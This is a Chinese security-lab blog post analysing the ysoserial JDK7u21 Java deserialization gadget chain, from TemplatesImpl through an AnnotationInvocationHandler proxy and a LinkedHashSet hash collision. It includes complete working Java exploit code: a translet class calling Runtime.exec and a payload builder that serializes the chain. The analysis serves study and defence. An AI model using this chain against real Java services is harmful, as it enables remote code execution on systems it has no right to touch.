『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

admin 2024年11月1日14:14:46评论23 views字数 11462阅读38分12秒阅读模式

日期:2023-06-21
作者:ICDAT
介绍:这篇文章主要是对ysoserial中JDK7u21反序列化进行分析。

0x00 前言

最近在项目中遇到了一些反序列化的漏洞,在学习过程中不可避免的接触到了ysoserialJdk7u21这条利用链,今天就来学习一下。

0x01 payload分析

首先查看一下ysoserial中的payload的利用链。

LinkedHashSet.readObject()  LinkedHashSet.add()    ...      TemplatesImpl.hashCode() (X)  LinkedHashSet.add()    ...      Proxy(Templates).hashCode() (X)        AnnotationInvocationHandler.invoke() (X)          AnnotationInvocationHandler.hashCodeImpl() (X)            String.hashCode() (0)            AnnotationInvocationHandler.memberValueHashCode() (X)              TemplatesImpl.hashCode() (X)      Proxy(Templates).equals()        AnnotationInvocationHandler.invoke()          AnnotationInvocationHandler.equalsImpl()            Method.invoke()              ...                TemplatesImpl.getOutputProperties()                  TemplatesImpl.newTransformer()                    TemplatesImpl.getTransletInstance()                      TemplatesImpl.defineTransletClasses()                        ClassLoader.defineClass()                        Class.newInstance()                          ...                            MaliciousClass.<clinit>()                              ...                                Runtime.exec()

直接看payload,我们发现了一些熟悉类,AnnotationInvocationHandlerTemplatesImplProxy。这些类我们在之前分析CC链的时候都遇到过,他们在反序列化中都起到了重要作用。

其作用后面分析到再谈,先搭建一下漏洞分析的环境。
首先Jdk7u21链,顾名思义,在Jdk7u21版本中发现的,前面的大部分版本中也存在该问题,但是我们还是以Jdk7u21环境来进行分析。

然后,因为要分析AnnotationInvocationHandler,所以可以参考之前ysoserial CommonsCollections 1 反序列化分析,来下载openjdk的源码,并将其sun拷贝到jdk7u21src源码中。

配置好后,查看AnnotationInvocationHandler#readObject方法,其对this.type检查,检测到异常后,不做任何操作。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

这里查看是因为jdk7u21后通过修改异常返回的方式修复了Jdk7u21利用链。

0x02 TemplatesImpl.getOutputProperties()

按照惯例,我们从后往前分析。查看Jdk7u21payload,发现从TemplatesImpl.getOutputProperties()往后的链有些熟悉。

其实这里是通过TemplatesImpl.newTransformer()执行任意代码的链条,之前在TemplatesImpl 利用分析进行了分析。其大致的逻辑是TemplatesImpl.newTransformer(),调用defineClass来将byte字节流解析成Class对象执行其构造方法或静态代码块中的代码。

TemplatesImpl.getOutputProperties()方法是之前没有遇到的,看一下源码。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

这里调用了newTransformer()方法。

那么可以使用getOutputProperties()方法替换newTransformer()执行代码。

我们可编写如下代码。

Test.java:

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }    public Test() throws IOException {        super();        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");    }}

Runtest.java:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class RunTest {    public static void main(String[] args) throws Exception {        //获取字节码        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
        TemplatesImpl templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});
        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");
        //执行getOutputProperties()方法触发弹窗        templates.getOutputProperties();    }}

运行一下,成功弹计算器。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

按照之前的思路,我们要去找可以通过反射调用TemplatesImpl.getOutputProperties()的类。

0x03 equalsImpl()方法

Jdk7u21利用链中,利用了AnnotationInvocationHandler.equalsImpl()方法来实现,这个方法我们之前没有看过,查看代码。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

这里调用了memberMethod.invoke(o)方法,memberMethod来自getMemberMethods(),其代码如下。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

getMemberMethods()获取了type的所有构造方法,equalsImpl(o)方法对所有构造方法进行遍历,并且传入的o不为空,且otype实例时,执行o的所有构造方法。

同时这里也存在另一个条件判断,只有o不是AnnotationInvocationHandler对象的动态代理时,才可以调用equalsImpl(o)方法,asOneOfUs方法代码如下:

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

那么逻辑就清楚了,如果type设置为TemplatesImpl类,且传入equalsImpl()的参数为该类的实例,就可以通过上述的3个判断,实现命令执行。

那么问题就变了,如何调用AnnotationInvocationHandler类的equalsImpl()方法呢。

0x04 动态代理实现equalsImpl()方法调用

equalsImpl()方法,在AnnotationInvocationHandler类中是一个私有方法。

AnnotationInvocationHandler该类实现了InvocationHandlerSerializable接口,但该类为缺省修饰,只能在同一个包中访问。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

因为AnnotationInvocationHandler的局限性,无法直接调用。但是这个问题是不是似曾相识?

我们在ysoserial CommonsCollections 1 反序列化分析中,使用了动态代理的方法,通过对map设置代理,当map对象执行任何方法的时候,都会执行其invoke方法。

那么invoke方法中,存在equalsImpl()方法的调用吗?

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

发现在AnnotationInvocationHandler.invoke方法调用了方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

分析一下invoke方法执行equalsImpl()调用的条件。

传入的方法名为equal方法方法的参数个数为1方法的参数类型为Object类型

我们尝试基于此编写代码。

首先,分析一下我们需要实现什么:

我们需要new一个AnnotationInvocationHandler类对象,并且在构造方法中传入TemplatesImpl对象,并且该对象调用invoke方法。

现在的问题是,该类为缺省类,且该类构造方法也为缺省的构造方法。无法在包外访问。
解决方法是:java中可以通过反射机制来获取类,并且通过获取其构造方法来实例化对象。

但是又出现了一个问题,通过反射构造方法实例化的对象为Object类。需要进行类型转换,我们访问不到AnnotationInvocationHandler类,如何进行处理呢?

这里用的知识是java中,实现接口的子类,可以通过创建对象赋值给接口。

public interface test{};class A implement test{};test a = new A();

最后还有一个问题,AnnotationInvocationHandler构造方法中,对其type属性限制为自注解类的子类(Annotation)。我们需要的type属性的是TemplatesImpl,正常来说,无法进行构造。

但是巧合的点来了,因为我们通过反射来实例化AnnotationInvocationHandler类对象,会扩大其可传入参的范围。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

可以看到,通过反射进行构造时,type属性值扩大为java.lang.Class对象。

巧合的第二个点,AnnotationInvocationHandler在进行反序列化时,如果type属性不为自注解类的子类,只是简单的return,不影响反序列化的执行。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

这里和CC1是不同的,因为CC1利用链,需要通过该判断,去执行到memberValues.entrySet()方法,到达执行map任意方法的目的,进而触发AnnotationInvocationHandler.invoke方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

综上所述,我们分析一下编写代码的逻辑。

我们需要TemplatesImpl作为被代理的类,AnnotationInvocationHandler作为代理类,TemplatesImpl的任意方法被执行,都会执行AnnotationInvocationHandler.invoke方法。

如果进行动态代理,我们还需要如下条件:

  • 一个接口类,且TemplatesImpl为其实现类。
  • AnnotationInvocationHandler代理类中需要声明接口类对象

首先解决第一个问题,查看TemplatesImpl类定义,其实现了Templates接口。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

我们动态代理使用Templates类即可。

看到这里,肯定有疑问,前面分析时,需要type的值为TemplatesImpl类对象,传入Templates类对象可行吗?

当然是可行的,因为TemplatesTemplatesImpl的接口类,其不存在newTransformergetOutputProperties方法的实现,会调用TemplatesImpl类的方法来执行。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

第二个问题,如前面所说的,通过反射扩大了type的类型范围,我们这里可以反射修改typeTemplates类。

那么我们可以编写如下代码尝试进行弹窗。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;
public class yso_Anno {    public static void main(String[] args) throws Exception {
        //获取字节码        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));        TemplatesImpl templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        //通过反射获得cls的构造函数        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        //设置Accessible为true        ctor.setAccessible(true);        HashMap map =new HashMap();        //通过newInstance()方法实例化对象,并赋值给接口        InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Templates.class, map);        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, Handler);        proxy.equals(templates);    }}

运行,成功弹窗。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

但是,这里是我们显示的调用,我们需要寻找到在反序列化过程中,调用proxy.equal(templates)的方法。

0x05 LinkedHashSet触发排序

equal()是任意对象都有的方法,通常用于比较两个对象是否是同一个引用。
利用链中用到了LinkedHashSet类,我们查看该类。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

其继承了HashSet类,实现了java.io.Serializable方法。

我们之前没有用到过LinkedHashSet类,百度查看一下。

1、LinkedHashSet是HashSet的子类2、LinkedHashSet底层是一个LinkedHashMap,底层维护了一个数组+双向链表3、LinkedHashSet根据元素的hashCode值来决定元素的存储位置,同时使用链表维护元素的次序,这使得元素看起来是以插入顺序保存的4、LinkedHashSet不允许添加重复元素

这里第四个特点,应该是使用LinkedHashSet的重要原因,因为不允许添加重复元素,那么在添加元素时必定涉及到元素的比较。

LinkedHashSet类内无添加元素方法,其继承父类HashSetadd方法,而add方法,通过调用HashMap.put()方法添加元素。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

HashMapput()方法中使用了equals()方法进行元素的对比。

查看put()方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

首先是获取添加的key值,并计算其hash值,然后循环获取已存在数组的值e,通过e.hash获取已存在值的hash,通过e.key将存在的key值赋值为k

当两个对象的hash相等时,才会触发key.equals(k)方法。注意这里,是存在顺序的,而如果是无序的HashMap类型,是无法保证执行顺序的。

反序列化中,重要的是readObject方法,在LinkedHashSet中未实现readObject方法,会调用父类HashSetreadObject方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

这里会将序列化的内容,传入map.put(),而经过上面的分析,当两个对象hash相等时,可触发equals方法。

那我们在LinkedHashSet传入哪两个对象呢?

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

我们需要执行的代码是proxy.equals(templates),那么我们需要先传入一个templates(恶意的TemplatesImpl类对象)作为key值,再传入proxy(动态代理类对象,执行任意方法会执行AnnotationInvocationHandler.invoke方法),再保证这两个对象的hash相等,就可以了。

0x06 哈希碰撞

put()方法中,hash方法定义如下:

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

只存在调用hashCode()方法。

我们上一步传入了templatesproxy对象。

其中proxy.hashCode()会执行AnnotationInvocationHandler.invoke方法,从而匹配hashCode方法名,从而执行hashCodeImpl()方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

查看hashCodeImpl()方法。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

其中memberValuesAnnotationInvocationHandler类的Map对象。
memberValueHashCode方法根据value的类型,获取其hashcode值。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

hashCodeImpl()这里进行的操作是遍历Map对象的每个keyvalue,获取(127 * Key().hashCode()) ^ memberValueHashCode(e.getValue())的值并求和。

为了保证这个值可控,进行了如下操作。

1、Map对象只有一个key值和value值,那么不需要求和的值,只需要一次异或的值2、设置key().hashCode()的值为0,任何值异或0都未其本身,这里的值变为memberValueHashCode(e.getValue())

通过以上方法,我们可以通过控制Map对象的value值的方式来控制其hashcode()的值,那么当proxy对象的Map参数的value值也为templates对象时,传入的对象值恒等。

其中,payload中,设置的Map对象的key值为f5a5a608,其hashcode值为0

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

综上所述,我们可以这么编写代码。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;
public class jdk7u21_payload {    public static void main(String[] args) throws Exception {        //获取字节码        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));        TemplatesImpl templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates, new TransformerFactoryImpl());        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates, new byte[][]{bytes});        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates, "123123");

        String hashStr = "f5a5a608";        HashMap map = new HashMap();        map.put(hashStr, "temp");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        //通过反射获得cls的构造函数        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        //设置Accessible为true        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象,并赋值给接口        InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Templates.class, map);        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, Handler);
        LinkedHashSet hashSet = new LinkedHashSet();        hashSet.add(templates);        hashSet.add(proxy);
        map.put(hashStr, templates);        serialize(hashSet);        deserialize();
    }    public static void serialize(Object obj) {        try {            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));            os.writeObject(obj);            os.close();        } catch (Exception e) {            e.printStackTrace();        }    }
    public static void deserialize() {        try {            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));            is.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }
}

运行成功弹窗。

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

0x07 结语

Jdk7u21这个利用链是之前CC链多个利用方式的综合利用,理解起来可能比较绕,但是综合分析下来思路还是比较清晰的。

参考:

https://blog.csdn.net/sun1995sun/article/details/123457554Java安全漫谈 - 18.原生反序列化利用链JDK7u21https://mp.weixin.qq.com/s/mB3i4pH_gIpNiFIoRIIPBw

点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日14:14:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial Jdk7u21 反序列化漏洞分析https://cn-sec.com/archives/1825089.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息